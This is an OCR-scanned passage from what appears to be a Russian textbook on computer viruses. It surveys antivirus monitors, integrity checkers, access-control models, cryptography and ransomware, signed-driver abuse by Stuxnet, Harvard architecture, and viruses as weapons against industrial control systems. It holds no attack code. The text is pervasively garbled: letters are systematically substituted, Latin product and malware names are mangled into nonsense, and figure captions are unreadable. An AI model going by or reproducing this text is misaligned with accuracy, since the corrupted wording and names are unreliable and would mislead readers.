ранние экспериментн в этом направлении проводились еше «на 
заре» эпохи компьютерннх вирусов, достаточно вспомнить хотя бм 
антивирусньга монитор «-О» Е. Касперского (1990 г.). Эта програм- 
ма перехватмвала наиболее часто используемне системнне прерм- 
вания М 8 'В 05  и ВЮ5 и информировала пользователя о всяческих 
«опаснмх» и «подозрительннх» собмтиях: о прямой работе с секто- 
рами винчестера и дискет, об установке резидентннх обработчиков 
какого-либо прернвания, о попьггке записи одних программ в файлн 
других программ и т. п. Работа под назойливьш присмотром тако- 
го «монитора» требовала от пользователя внсокой квалификации и 
крепких нервов.

Ти гЬо й с 5 е п Ь 1 е г  и е г с х о п  2 . 0  С о р у 1*1 з Ь 1: Сс> 1 9 8 8 ,  1 9 9 0  Вог1апс1 1 п £ е г п А £ 1 о п а 1

А с с е п Ь И п д  Г И е :  е х а п р 1 е . а с п
Е у у о  1ч п е о з а д е о :  Мопе
и а г п 1 п д  п е з з а д е с :  Мопе 
Р а з з е с : 1
К е п а г п а п д  п е п о г у :  328)<

Т«»*Ьо Ь 1пк ие 1 '5 1 о п  3 . 0

Рис. 7 .54  ❖ Вспливаюшее окно 
поведенческого блокиратора «-0»

Монитор «-О» не обладал многими свойствами, желательнмми 
для программ подобного типа:

О возможностью вести «белг>1Й список» программ, которьт  раз- 
решенн любьте действия;
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О возможностью вести список программ и системнмх областей 

компьютера, для котормх запретенн любме модификации;
О наличием «искусственного интеллекта», позволяюодего реаги- 

ровать не на отдельнме подозрительнме действия, а на их по- 
следовательность, типичную для той или иной разновидности 
вирусов.

Фактически для мониторов подобного типа требовалось и требу- 
ется умение реализовнвать разграничение доступа к программам и 
системньш областям компьютера на основе гибко модифицируемой 
политики безопасности, котормм «-Б» и ему подобнне антивирусм 
не обладали. Увн, в эпоху М8-Г305 антивирусннм мониторам для 
этого просто не хватало и не могло хватить системнмх ресурсов.

Идея антивирусннх мониторов бнла реанимирована позже, в эпо- 
ху \¥ шс1о\У8 -  в форме «гибрида» антивируса-монитора и антивиру- 
са-сканера. Типичннй антивирус, работаюгций по этому принципу, 
перехватнвает минимальннй набор системньгх функций, достаточ- 
ннй для контроля над файловьши операциями (например, функцию 
«МгСгеаСеҒПе» из библиотеки <?НТ01Л..01_Ь>>). Благодаря этому 
«резидентньш» антивирус получает управление при создании, от- 
крнтии, чтении и записи файла, без чего невозможнн ни запуск про- 
грамм, ни их копирование с внешнего носителя. Нолучив управле- 
ние, антивирус работает как обьмннй «сканер» -  то есть, используя 
поиск сигнатур, сравнение контрольннх сумм и эвристический ана- 
лиз, пнтается обнаружить в программном файле ту или иную раз- 
новидность вируса.

А с с е з з е й  Я1е 15 1пТес1ес1

ТНгеа! йе(ес1ес1!
ҒНепате: Н:\НЕСУС1ЕГ\Рег(ите ехе
ТЬгеа! пате: N/1015 1С)еп(Шес1 УВ.ҒҒЯ
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Рис. 7.55 ❖ А\/(3 Н езйет 5(11е1с1 -  
типичнь1Й антивирусннй монитор
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Такой антивирус наследует все недостатки классического антиви- 
русного сканера -  использует огромнме базн даннмх с сигнатурами, 
плохо обнаруживает «новме» вирусн и т. п. Кроме того, привносит 
и свои «заморочки» -  занимает много оперативной памяти и сильно 
«тормозит» работу системм. Наконец, он никаким образом не может 
противодействовать вредоносньш программам, не оформленннм 
в виде дисковнх файлов, -  достаточно вспомнить способ сушество- 
вания некоторнх сетевнх червей.

Решение проблемн заключается в том, чтобм вернуться к идее на- 
чала 1990-х годов и контролировать поведение программ. Типичннй 
современнмй антивирус такого класса перехватмвает большое ко- 
личество системнмх функций: файловнх, сетевмх, обеспечиваюших 
доступ к Реестру, позволяюших распределять память, обрашаться 
к внешним устройствам и т. п. Это позволяет «переназначать» по- 
тенциально опаснне воздействия на «виртуальнне цели», например 
вместо записи нового ключа в Реестр программой будет модифи- 
цирована его виртуальная копия, созданная антивирусом. Факти- 
чески любая внполняюшаяся программа попадает в виртуальную, 
контролируемую антивирусом среду -  так називаемую «песочницуь 
(запг1Ьох). Возможна и полная эмуляция антивирусом системной 
средн, означаюшая, что весь комплекс прикладннх и системннх 
программ будет внполняться в «виртуальной машине». Антивирусу 
не надо пьггаться «угадать», что «подозрительная» программа бу- 
дет пьггаться сделать, ему достаточно просто «посмотреть», что же 
она сотворила с виртуальньши копиями программ и системнмх об- 
ластей, и сделать внвод. Если изменения на диске и в Реестре, сде- 
ланнне «подозрительной» программой, будут признань1 неопаснн- 
ми, то антивирус перенесет их из «черновика» в реальную систему. 
Принцип действия подобннх антивирусов получил название Н1Р5 
(от англ. НоМ-Ъазес1 Шгийоп Р>е1>епИоп Зу&ет -  Система предотвра- 
шения вторжений).

Впрочем, использование «песочниц» и «виртуальннх машин» не 
отменяет других разновидностей антивирусов. Ведь программа, ули- 
ченная во вредоносном поведении, необязательно подлежит удале- 
нию. ее можно попьггаться «вмлечить». Чтобм определить конкрет- 
ньш тип «заразм», придется активировать антивирус-сканер, а чтобн 
восстановить программу в исходном виде -  антивирус-фаг. Ввиду 
большого объема сигнатурнмх баз их нецелесообразно хранить на 
компьютере пользователя. Современная точка зрения компьютерннх 
вирусологов на процедуру сканирования и лечения единственного
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файла заключается в том, что проше всего послать его по сети Интер- 
нет в «централизованньга госпиталь» (например, «роботу-хирургу» 
Лаборатории Касперского) и через несколько секунд получить на- 
зад в «здоровом» виде. Если «Касперский» еше незнаком с этой раз- 
новидностью «заразм», то запрос может бмть переадресован более 
осведомленньш коллегам -  в «БосГог \УеЬ» или «Мог1оп АпСКчгиа». 
Наконец, если вирус оказмвается «совсем новмм», то к решению 
проблемм подключаются специалистм сразу нескольких антивирус- 
нмх компаний и организаций по всему миру.

Подход, предусматриваюший габкое распределение функций об- 
наружения, детектирования и удаления вируса по разнмм узлам 
большой сети (сетевого «облака»), получил название «облачного».

7.5. Борьба с вирусами 
без исподьзования антмвирусов

Стояли звери около двери. Они кричали, их не 
пускали.

А. и Б. Стругацкие. «Жук в муравейнике»

Под антивирусом традиционно понимается специализированное 
программное или аппаратное средство, предназначенное для обна- 
ружения и удаления вредоноснмх программ, а также, возможно, для 
восстановления системной средм в первоначальном, неинфициро- 
ванном и неискаженном ввде. Однако борьба с вирусами возможна и 
без использования подобннх средств.

7.5.1. Файловме «ревизорм»
Одна из идей заключается в использовании так назьтаемьк «инспек- 
торов», или «ревизоров». Принцип их работь1 состоит из вьшолнения 
двух операций:

О контроль целостносги ( т 1е§пЬу сЬеск) программной и систем- 
ной средм;

О при обнаружении искажений -  восстановление первоначаль- 
ного состояния из резервной копии.

Типичньхм представителем программ такого класса является Ас1- 
уапсео! 01зк1п£о5соре (или просто АсИп£).

Средства подобного типа сохраняют информацию о мгновенном 
состоянии (зпарзЬоГ.) системм -  обмчно в виде контрольнмх сумм
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Рис. 7.56 ❖ АсИп* -  
типичний файловий «ревизор»

программ и служебнмх областей, а при следуюшем запуске пмтаются 
обнаружить отличия. Недостатки такого подхода очевиднн:

О  «ревизорн» не способнм обнаруживать вирусн, появившиеся 
в системе до их первого запуска;

О поскольку постоянньга контроль системм отсутствует, то ви- 
рус, получивший управление между запусками «ревизора», 
всегда имеет возможность заблокировать его или исказить ре- 
зультатм работн;

О «ревизорн» не способнн обнаруживать вирусм, не имеюшие 
файлового представления и сутцествуюшие только в виде вн- 
числительннх процессов;

О применение «ревизоров» предусматривает хранение и регу- 
лярное обновление (либо пользователем, либо самим «ревизо- 
ром») более или менее полной резервной копии системм.

Тем не менее «ревизорм» в настояшее время могут рассматривать- 
ся как неплохое подспорье «сканерам» -  в качестве средства, позво- 
ляюшего избавиться от тотальной проверки всех объектов на диске. 
Проверять потребуется только изменившиеся с прошлого сеанса ра- 
ботн объектм.

7.5.2. Политики разграничения доступа
Фред Коэн в своих ранних статьях показал, что множество связанних 
друг с другом и способнмх заражать друг друга объектов (программ 
или компьютеров) образуют «транзитивное замнкание». Таким об- 
разом, вирус, появившись на одном из таких объектов, неминуемо
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распространится «по цепочке» и заразит все. Давно известно, что 
проше предотвратить болезнь, чем ее вмлечить. Коэн предложил 
универсальную стратегию борьбм с вируснмми эпидемиями: «изо- 
ляционизм», то есть разбиение множества потенциально уязвиммх 
объектов на отдельнме, не связаннме друг с другом подмножества. 
Если же информационная связь между объектами необходима, то она 
должна жестко контролироваться. Фактически речь идет о введении 
и применении концепции «разграничения доступа», основанной на 
некоторой «политике безопасности*. Любая политика безопасности 
может бьггь формально описана в виде:

О  множества пассивннх (с точки зрения информационного об- 
мена) «объектов»;

О множества активнмх «субъектов»\
О множества «методов» доступа;
О формальной системн правил, в соответствии с которой тем или 

инмм «субъектам» разрешается или запреадается применение 
того или иного «метода» доступа к определенньш «объектам».

Если говорить об операционнмх системах, то в роли «объектов» 
обмчно вмступают файлм, каталоги, тома (диски и их разделн), слу- 
жебнне базн даннмх (например, Реестр в \УтскнУ8), регионм опера- 
тивной памяти, физические и логические внешние устройства и т. п. 
«Субъектами» являются пользователи и группм пользователей (точ- 
нее программн, запускаемне от их имени). «Метода» же могут бнть 
самне разнообразнне, зависяшие от типа «субъектов»; запись, чте- 
ние, создание, удаление, переименование, изменение датн и времени 
создания, внполнение и т. п. Ранее, в соответствукяцих главах нами 
\тгоминались политики безопасности, свойственнне операционннм 
системам \ААш1оугз и 11К1Х. Но политики разграничения доступа мо- 
гут бьггь примененн не только на уровне операционннх систем, но 
и в сетях. В этом случае в роли «объектов» могут рассматриваться 
узлн-серверн, а в роли «субъектов» -  узлн-клиентн. Возможно и 
представление в качестве «субъектов» и «объектов» целнх сегментов 
сетей.

В обвдем, сушествуют две концепции построения политик безопас- 
ности: «дискреционная» (она же «избират ельная») и -амандатная» 
(она же «полномочная»).

В основе политик первого типа лежат «матрицм доступа» -  таб- 
лицм, в которнх столбци соответствуют «субъектам», строки -  
«объектам», а в клеточках перечисленм разрешеннме «методн» (см. 
табл. 7.7).
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Таблица 7.7. Обший вид «матриць! доступа»

Субъект 1 Субъект 2 .  .  . СубъектМ
Объект 1
Обьвкт 2

. . . чтение+запись
Объект N

Специальньш «монитор доступа», следявдий за исполнением пра- 
вил политики безопасности, пользуется даннмми из подобнмх таб- 
лиц для блокирования недопустимнх операций. Операционнне 
системн семейства \У1пс1о'лт5 КТ и большинство клонов 1)К1Х ис- 
пользуют именно подобную схему разграничения доступа. Правда, 
применение ее в описанном виде сопряжено с рядом чисто техниче- 
ских трудностей, возникаювдих при необходимости создавать и гибко 
модифицировать «большие» (с миллионами «клеточек»!) матрицьт 
досгупа. Поэтому на практике (по крайней мере, в \Ушс1о\уз) исполь- 
зуется частньш случай дискреционной политики безопасности, ко- 
торнй получил наименование «ролевой политикш (или «политики 
ролевого Ъоступа»). Суть ее в том, что строки и столбцн «матрицн 
доступа» группируются в соответствии с «типичннми ролями», кото- 
рне те или инне «объектн» и «субъектн» играют в системе. Примерн 
«типичннх субъектов»: Администратор, Пользователь, Гость и т. п. 
Примерн «типичннх объектов»: Системннй файл, Файл пользова- 
теля и прочее. Свойства (то есть наборн разрешений и запревдений) 
для всех сувдностей, играювдих одинаковую роль, автоматически на- 
значаются тоже одинаковьши. Фактически при «ролевом» подходе, 
по сравнению с «чисто дискреционннм», сильно снижается размер 
«матрицн доступа» и упровдается ее использование. С другой сто- 
ронн, перечень возможннх предопределенннх «ролей» не велик, и 
для уточнения привилегий конкретного субъекта все равно придется 
внполнять массу «ручной» работь1, рискуя при этом запретить что- 
нибудь «нужное» или разрешить что-нибудь «лишнее». Резюмируя: 
«дискреционнне» подходн удобнн для построения относительно 
простнх, редко модифицируемнх политик безопасности.

Альтернативной является концепция «мандатного» подхода к по- 
строению политик безопасности. При этом подходе каждому «объек- 
ту» и «субъекту» присваивается уникальная «метка безопасности» -  
фактически «аусвайс», определяювдий их привилегии и полномочия. 
Логический внвод -  разрешить тот или иной метод доступа -  внчис- 
ляется каждьш раз заново, как функция от значений «меток безопас-
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ности». Благодарятакому подходу становится возможньш построение 
весьма сложньтх и гибких правил информационного взаимодействия 
«субъектов» и «объектов». Например, в СУБД широко используются 
различнме модификации политики Белла-ЛаПадулм, основаннне на 
правилах:

О метки безопасности суть целочисленнме «уровни конфиден- 
циальности»;

О  субъект имеет право «писать» в тот объект, чей уровень конфи- 
денциальности не ниже его;

О  субъект имеет право «читать» из того объекта, чей уровень кон- 
фиденциальности не више его.

Нетрудно сообразить, что благодаря применению политики Бел- 
ла-ЛаПадулм информация всегда распространяется по «уровням 
конфиденциальности» снизу вверх, но никогда не наоборот. Зер- 
кальньш отражением политики Белла-ЛаПадулм является полити- 
ка Биба, в которой вместо «конфиденциальности» рассматривается 
«целостность» (зашивденность). В соответствии с правилами этой 
политики субъектм с более внсоким уровнем завдшценности (на- 
пример, компонентн операционной системн и антивирусн) всегда 
будут иметь право модифицировать менее зашивденнне объектн 
(прикладнше программн), а те их -  нет. Часто модели ЛаПадулн и 
Биба комбинируют, чтобн не возникало «казусов» типа следуюше- 
го: сушность с внсоким уровнем зашихценности может создать свою 
копию, обладаюшую низким уровнем завдишенности, которую полу- 
чат право модифицировать все желаюшие. Однако при формальном 
комбинировании возможнн ситуации, когда по правилам Биба до- 
ступ на запись к сувдности запрешен, а по правилам ЛаПадулн -  раз- 
решен, или наоборот. Приходится вводить дополнительнне правила: 
или приоритет запрета над разрешением, или приоритет разрешения 
над запретом, или приоритет Биба над ЛаПадулой, или приоритет 
ЛаПадулн над Биба. В зависимости от того, какие дополнительнне 
правила внесенн, получаются политики безопасности с теми или 
иннми свойствами.

Ф. Коэн рассмотрел и инне подходн к построению политик безопас- 
ности (например, модели Кларка-Вилсона, «нижней водяной метки» 
и прочие) и показал, что они действительно позволяют реализовать 
тот или иной уровень «изоляционизма» и, следовательно, противо- 
действовать распространению вирусннх эпидемий. Однако «качест- 
во» конкретной политики зависит от множества разнородньгх, в том 
числе и субъективннх, факторов. Простая и жесткая политика (на-



Борьба с вирусами бев использования энтивирусов ❖ 601

пример, применяемая в ИМ1Х) может работать гораздо эффективнее, 
чем сложная и гибкая (например, свойственная \У шс1о\у8).

7.5.3. Криптографические методм
Криптография -  наука о методах и средствах обеспечения конфиден- 
циальности и подлинности информации.

Конфиденциальность обеспечивается посредством «шифрова- 
ния» -  обратимого преобразования информации X в форму V = Ғ(К, X), 
неудобную для восприятия и непосредственного использования. 
Здесь ¥  -  зашифрованная информация, Ғ  -  алгоритм шифрования, 
К — «ключ», то есть секретннй параметр алгоритма шифрования. Разу- 
меется, легальному владельцу ключа всегда доступно чрасшифрова- 
ние*: X = Ғ~1(К, ¥). Со сторони злоуммшленника не всегда возможна, 
но крайне желательна операция нелегального «дешифрования>, то 
есть взлома, внполняемого без априорного знания ключа: Х =  Ғ~'(¥).

Сушествуют ли «невзламнваемне» шифрн? Конечно, да. Напри- 
мер, это шифрн, основаннне на модульном сложении элементов дан- 
них с соответствуюшими элементами ключа, причем обязательно 
должньх виполняться следуюшие условия:

О  длина ключа равна длине данннх (в элементах);
О  элемента ключа абсолютно случайнн;
О ключ используется однократно.
В качестве элементов могут внступать как отдельньхе битм (шифр 

Вернама), так и кодм символов сообшения (шифр Вижинера).

Рис. 7.57 ❖ Теоретически «невзламиваемие» методу шифрования: 
а) шифр Вижинера; б) шифр Вернама

Применение «невзламмваемнх» шифров экономически не внгод- 
но, хотя бн потому, что для шифрования любнх данннх (напрнмер, 
сетевого трафика) необходимо иметь ключ такой же длинн. Поэто- 
му на практике используют более «слабне» шифрн. Их взлом -  МР- 
полная задача, они гарантированно вскрнваются методом полного 
перебора вариантов ключа. Но при длине ключа более 80-90 битов 
такой перебор в разумнне сроки становится практически невозмож- 
ньтм. Правда, в некоторнх шифрах иногда находят уязвимости, по-
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зволяюгдие при дешифровании отказаться от полного перебора. Та- 
ким образом, стойкость шифра ко взлому измеряется количеством 
вьмислительнмх операций, достаточннх для дешифрования инфор- 
мации, не зная ключа.

Современнне методн шифрования могут бнть классифицированн 
следуюшим образом:
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Рис. 7.58 ❖ Классификация 
современньйх шифров

Потоковиешифри (например, «КС4») работают с потокомвходннх 
данннх и позволяют сразу зашифровнвать каждьга вновь появляю- 
шийся элемент (например, бит или символ). Блочние шифри (напри- 
мер, «БЕЗ», «АЕ5», «ГОСТ 28147-89», «ВЬхуйзЬ», <ТЕА», «САЗТ», 
«ГОЕА» и др.) предусматривают разбиение данннх на блоки элемен- 
тов, каждьш из которнх зашифровнвается независимо от других.

Большинство зашифрованннх и полиморфннх вирусов приме- 
няют примитивнне алгоритмн шифрования своих кода и данннх 
наподобие «гаммирования» с постоянннм или «бегушим» ключом. 
Но некоторне вирусн используют «серьезнне», криптографически 
стойкие методн, например вирус \¥гп32.5аН(:у применяет для этой 
цели алгоритм «КС4». Этот же алгоритм используется в многочис- 
ленньгх червях и троянцах, формируювдих и обслуживаюших ботнет 
«Теия»1.

Симмегпричние шифръ/ требуют для шифрования и расшифрова- 
ния один и тот же ключ К. Таким образом, если «шифровальвдик» 
и «расшифровальвдик» живут на разннх континентах, то секретная 
передача ключа от одного другому может оказаться сложной пробле- 
мой. И наоборот, расшифровка, например, тела вируса \¥1п32.5аН1у 
не ставит непреодолимнх проблем, ведь вирус вннужден «таскать» 
шифруювде-расшифровнваювдий ключ с собой -  вирусологу доста- 
точно найти и «внтавдить» его.

1 Г1ри однократном применении ключа криптостойкость шифра «КС4: 
очень внсока.
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Этих недостатков лишенм асимметричние шифри (например, 
чК5А» или чОНЕ»), которме для шифрования и расшифрования ис- 
пользуют разнме (но однозначно связаннне друг с другом!) ключи -  
Кв и К0. Зная одну «половинку» этой пари, вичислить другую прак- 
тически невозможно. Правда, эта задача не требует полного перебора 
вариантов, но если длина ключа приближается к тнсяче битов, то 
даже «частичний» перебор в разумнне сроки не виполним.

Асимметрия ключей может бьггь использована по-разному.
Во-первьгх, один из абонентов (Маша Веснушкина) может пере- 

дать второму (Васе Пупкину) по открьггому каналу связи свой шиф- 
руклций «публичннй» ключ КЕ, оставив у себя «секретннй» расшиф- 
ровиваюший ключ Кв. Она ничем не рискует, ведь расшифровать 
сообвдение, зашифрованное и посланное Васей, кроме Маши, никто 
не сможет -  ключа КЕ для этого недостаточно. Специальншм образом 
упакованньш и завдивденннй от искажения ключ носит специальное 
наименование -  «цифровой сертификат».

Подобную схему использовал троянец Срс(м1е, шифруя на пользо- 
вательских компьютерах при помовди «открнтой» половинки ключа 
важнне даннне -  текстн, документн, картинки и т. п. -  и внмогая 
за «приватную» половинку определенную сумму. Пока длина ключа 
бнла небольшой, вирусологам удавалось взламнвать шифр, но когда 
она превнсила «рекордную», пришлось применить несколько инме, 
не математические методи -  позвать на помовдь «отдел по борьбе 
с преступлениями в сфере внсоких технолошй».

Второй способ использования асимметрии ключей заключается 
в том, что Вася Пупкин оставляет у себя «секретннй» зашифровнваю- 
ший ключ Кв  а Маше Веснушкиной дарит «публичньпт» расшифро- 
внваювдий К0. Теперь Вася имеет возможность поснлать Маше за- 
шифрованнме при помовди Кғ сообвдения. Получив такое сообвдение 
и успешно расшифровав его при помовди К0, Мавда может бьггь увере- 
на, что послал его именно Вася и никто иной. А Вася, в свою очередь, 
не имеет возможности отказаться от авторства сообвдения. Если в со- 
обвдении, например, содержится объяснение в любви... что ж, Вася, 
теперь тебе придется жениться!

Такова схема «электронно-цифровой подписи». Она широко при- 
меняется не только в мировом документообороте, но и при контроле 
за распространением программного обеспечения. Фирма-производи- 
тель (например, М1сгозоЛ, или КУ1(Иа, или Е о ^ к е с Ь , или кто-нибудь 
евде) заранее интегрирует в \¥ 1»с1о\У8 свои цифровьге сертификатн 
(то есть «публичнне» расшифровиваювдие ключи). Теперь, прове-
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ряя электронно-цифровую подпись, операционная система всегда 
может проверить, устанавливает пользователь легальньш драйвер 
или подделку, вне зависимости от того, откуда эта программа скаче- 
на. Подписмвать электронно-цифровой подписью можно не только 
распространяемме программм, но и контрольнне суммн от них -  это 
позволяет удостовериться, не искажен ли код (например, в результате 
заражения вирусом) и не подделана ли одновременно с этим «сопро- 
вождаюшая» контрольная сумма.

Однако не все так безоблачно: в 2010 г. червь-диверсант 51ихпе£ 
устанавливал в систему свои вредоноснме драйверн, подписаннне 
вполне легальньши ключами фирм Кеакек и ^гшсгоп. Дело в том, 
что хотя «приватнне» половинки ключей невозможно подделать, их 
можно просто украсть, например при помовди троянских программ- 
шпионов.

7.5.4. Гарвардская архитектура ЭВМ
Все описаннме в книжке схемн саморазмножения программ осно- 
ванм на предположении, что программннй код и даннне неразли- 
чимн. Даже в модели Ф. Коэна числа, записаннне на ленту машинн 
Тьюринга, рассматривались одновременно и как даннне, и как «ин- 
терпретируемнй» (то есть исполняемнй) код. Такое положение дел 
характерно для «фоннеймановской» архитектурн внчислительш>1х 
систем, доминируюшей в настояшее время.

В современннх процессорах и операционннх системах произво- 
дятся попнтки разделить код и даннне введением признаков «испол- 
няемнй код» и «зашита от загшси» для различних регионов памяти. 
Но пока эти признаки можно произвольно «включать» и «отклю- 
чать», принципиальннх запретов сушествованию вирусов нет.

Они появятся, если вьмислительная система будет реализована 
по правилам альтернативной архитектурн, которая получила назва- 
ние «гарвардской». В соответствии с этой архитектурой код и дан- 
нне должнн бнть разделенн физически -  сушествовать в различннх 
масспвах памяти. Соответственно, процессор должен будет работать 
с двумя комплектами системннх магистралей -  шин адреса (ША), 
данннх (ШД) и ввода-внвода (ШВВ).

Пока такой подход большого распространения не имеет -  ввиду 
повншенной сложности и стоимости реализации. Он помаленьку 
применяется -  в некотормх типах микроконтроллернмх систем, для 
которнх программное обеспечение разрабатьхвается отдельно, а по- 
том «зашивается» в постоянную память. Фактичееки повсеместное
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введение «гарвардской» архитектурн будет означатъ коренной пере- 
смотр практики программирования и вообше использования вьиис- 
лительной техники. Нужнн ли нам «великие потрясения»?

 ----------£,Ш Д
I Процессор

Рис. 7.59 ❖ Две архитектурм вичислительних систем:
а) фоннеймановская архитектура; б) гарвардская архитектура

7.6. Перспективь! развитмя 
и исподьзования компьютерньк вирусов

...Заканчивал большую работу по вьшедению 
путем перевоспитания самонааеваю гцегося 
на рьсболовний крючок дождевого червя.

А. и Б. Стругацкие. «Сказка о тройке»

Побудительнме причинн к написанию компьютерньлх вирусов нами 
бмли рассмотреньх в первой главе. Здесь и любопнтство, и желание 
самоутвердиться, и игровой азарт, и стремление криминалитета к фи- 
нансовой вмгоде. Болгарский вирусолог Весселин Бончев вообвде не 
нашел вирусам ни одного практически полезного применения [34]. 
Так ли это на самом деле?

7.6.1. Вирусм как «кибероружие»
Можно долго дискутировать по поводу сполезности» и «вредности» 
любого оружия, но. согласитесь, с этим понятием связана вся история 
человечества. Не изобрети наш волосатнй предок крепкую дубинку 
и кремниевьш наконечник к копью, кто знает, может бнть, мн до сих 
пор холодньши ночами внли бн на луну. Как это ни прискорбно, но 
практическую значимость оружия оспорить трудно.

В последние годн много говорят о «кибервойнах». Малограмот- 
нне журналистм наперегонки изобретают все новме и новме сцена-
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рии грядухцего «киберагюкалипсиса>>. Управление перспективннх 
разработок Пентагона объявило тендер на разработку и закупку «на- 
ступательного кибероружия». Депутатм британского парламента 
призвали к аналогичнмм действиям свои спецслужбн. Миноборонн 
Японии поручило компании Ғи^&и разработать и создать систему по 
обнаружению и обезвреживанию источников «кибератак». Заинтере- 
совались исследованиями в области кибербезопасности и в Минис- 
терстве оборонн РФ.

А между тем компьютернне вирусн и черви использовались в ка- 
честве средств шпионажа и диверсий давньгм-давно, буквально с мо- 
мента их появления. История компьютерной вирусологии знает, 
наверное, миллионн попнток как «чуть-чуть подправить», так и пол- 
ностью уничтожить информацию на чужом компьютере (вспомните 
хотя бн \Ут9Х.С1Н), не говоря уже о том, чтобн просто и незатей- 
ливо «сунуть нос» в чужие тайнн. Не брезговали подобннми деяния- 
ми ни отдельнне личности, ни хакерские группировки, ни полиция 
(ранее уже упоминались вредоноснне программн Ма§1С ЬапЬегп и 
Вип(1е8Тго]ап). И ни к какой «катастрофе» это не привело -  компью- 
терное сообшество свнклось с ситуацией, научилось противостоять 
«кибератакам», внработало своего рода «кибериммунитет».

С чем же связан новмй виток в гонке «кибервооружений»?
Сушествует сфера применения внчислительной техники, о кото- 

рой «масеовме» пользователи и программистн имеют очень смут- 
ное представление. А между тем миллионн больших и маленьких 
компьютеров управляют взлетом и посадкой космических кораблей, 
внработкой энергии на электростанциях, производством промнш- 
ленннх товаров, движением транспортннх средств и работой бьгго- 
вмх приборов. Все эти задачи решают многочисленньге и разнооб- 
разнме вариантм автоматизированннх систем управления (АСУ). 
Любне сбои в них чреватн не только финансовмми потерями, но и 
катастрофами, способньши угрожать сушествованию человеческой 
цивилизации. И это не преувеличение. Достаточно вспомнить, что 
запусками термоядерннх ракет, находяшихся на боевом дежурстве, 
тоже управляют автоматизированнне системм.

Разумеется, большинство инцидентов, происходяших по причине 
сбоев управляюших систем, связанн со случайньши ошибками про- 
граммистов-разработчиков и пользователей-операторов. Например, 
именно они послужили причинами потерь космических кораблей 
Маппег-1 (США, 1962 г.), Космос 419 и Марс-2 (СССР, 1971 г.), ФО- 
БОС-1 (Россия, 1988 г.), Апаппе-5 (ЕС, 1996 г.), Магз СНтаге ОгЬкег
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(США, 1999 г.), ракетм-носителя Протон-М с тремя спутниками 
ГЛОНАСС в 2010 г. и, возможно, корабля ФОБОС-Грунт в ноябре 
2011 г. Известнн серьезнме происшествия в авиации и на флоте, на- 
пример дезориентируюшее поведение автопилота аэробуса А-330 
Сингапур-Перт в 2008 г., «глюки» в навигационньгх системах амери- 
канских истребителей Ғ-22 и Ғ-16 при попьггках пересечения «нуле- 
вого меридиана» и экватора, «слепота» вертолета СЬтоок при поле- 
тах над Израилем на вмсотах ниже уровня моря, трехчасовой хаос 
в системах управления ракетньш крейсером «Йорктаун» в 1998 г. 
Имели место более или менее серьезнне аварии на предприятиях по 
переработке урана (Австралия, 2001 г.), в телефонннх сетях компа- 
нии АТ&Т (США, 1990 и 1998 гг.), на Нарьян-Марской электростан- 
ции в 2012 г. Начиная с 1985 г., сотни онкобольннх в США, Канаде 
и Панаме неоднократно получали сверхвнсокие дозн облучения по 
причине ошибочной работм программ, управляюших оборудованием 
лучевой терапии.

Известнн и несколько случаев диверсий на АСУ промншленннх 
объектов. Например, в 1983 г. программист Мурат У., желая «просла- 
виться», внес в программу, управляюшую поставкой комплектуюших 
на главннй конвейер ВАЗа, «логическую бомбуь, то есть секретннй 
фрагмент, при соблюдении определенннх условий приводяший 
к сбоям в работе. В 1997 г. подросток из Массачусетса случайно обна- 
ружил удаленньга доступ к консоли управления телефонной станции 
местного аэропорта и, развлекаясь, на несколько часов заблокировал 
его работу. В 2000 г. австралиец Витек Б., используя радиомодем, в те- 
чение нескольких недель подключался к сетям управления очистнь1- 
ми сооружениями и, анонимно дезорганизуя их работу, открнто пред- 
лагал свои услуги по исправлению «проблемьг». В качестве же самого 
серьезного инцидента западнне источники назнвают взрнв на совет- 
ском газопроводе в 1982 г., произошедший якобн в результате спец- 
операции ЦРУ, которое внедрило «логаческую» бомбу в программ- 
ное обеспечение системь1 управления насосннми установками1.

Могут ли компьютернне вирусн служить переносчиками вредо- 
носннх воздействий на АСУ?

Вообше говоря, аппаратнне и программнне конфигурации, ис- 
пользуемне в АСУ, отличаются от привнчннх нам. Например, боль- 
шинство задач локального управления решаются «микроконтролле-

1 По-вл1Д]1Мому. это «\тка», так как насоснне станции С С С Р  просто не бнли 
оснаицени А С У  такого уровня сложности и автономности.
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рами» -  полноценньши ЭВМ, снабженншми процессором, памятью, 
интерфейсами ввода-внвода, специализированньши устройствами 
преобразования информации типа АЦП и ЦАП, -  причем все это 
размешено в одной-единственной микросхеме! У такого компьюте- 
ра нет ни монитора, ни клавиатурм, программн для него пишутся на 
язнке ассемблера, «закачиваются» в память с «большой» ЭВМ по ка- 
белю связи через последовательнне портн ввода-вьшода и работают 
без участия каких-либо операционннх систем. Если внчислительная 
мошность микроконтроллеров оказнвается недостаточной, то вмес- 
то них используются «промншленнне контроллерьг» -  маленькие 
и очень простне. но надежнне компьютерн от 81етепз, А<1\гап1есЬ, 
АПеп-ВгаЛеу, РЕР-КопЬгоп, М1(5иЬ15М и т. п., которне при необходи- 
мости объединяются в единую систему посредством специализиро- 
ванннх «промншленннх сетей» на основе интерфейсов К5-485/422 
и протоколов типа МобЬиз или РгойЬиз. У «массового» пользователя, 
скорее всего, в н з о в } Т  улнбку технические характеристики типично- 
го «промьннленного контроллера»: процессор -  180x86 или МС 6 8 К, 
тактовая частота -  несколько десятков мегагерц, объем ОЗУ -  не- 
сколько мегабайтов. Работают они под управлением масштабиру- 
емнх «операционньхх систем реального времени», например 0 .КХ, 
Ух\Уогкз, 05-9 и прочпх. Подобной внчислительной конфигурации 
вполне достаточно для решения задач сбора данннх с нескольких 
десятков датчиков, обработки полученной информации и управ- 
ления промншленннм объектом через несколько исполнительннх 
устройств (например, электроприводов). А лазить в Интернет, смо- 
треть видео и играть в компьютерньхе игрн на «промьшленньхх кон- 
троллерах» никто не собирается.

Используются ли в АСУ «настояшие» компьютерн, операционнне 
системн и сети? В сложннх, объемннх АСУ -  да, но не для управле- 
ния конкретннми объектами, а для визуализации процессов и коор- 
динации совместной работн контроллеров. Программн, решаюшие 
эти задачи, создаются и внполняются на базе специальннх «5САОА- 
пакетов» [ 1 ], например, \¥ тС С  от Бхетепз, 1п(:оисЬ от \¥отк!ег\уаг(', 
Тгасе Мойе от АсМзгга, Вг1с1§е\г[Е\¥ от КтаПопа1 Гпзсгитепй и т. п. 
Типичная структура АСУ управления технологическим процессом 
предприятия (так назнваемой АСУ ТП) приведена на рис. 7.60.

Несомненно, вирусн и черви могут заразить корпоративную сеть 
предприятия, проникнув в нее через Интернет или зараженнне 
«флэшки», а потом нарушить совместную работу различньхх «чело- 
веческих» служб и тем самнм косвенно повлиять на технологические
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Контролперн 

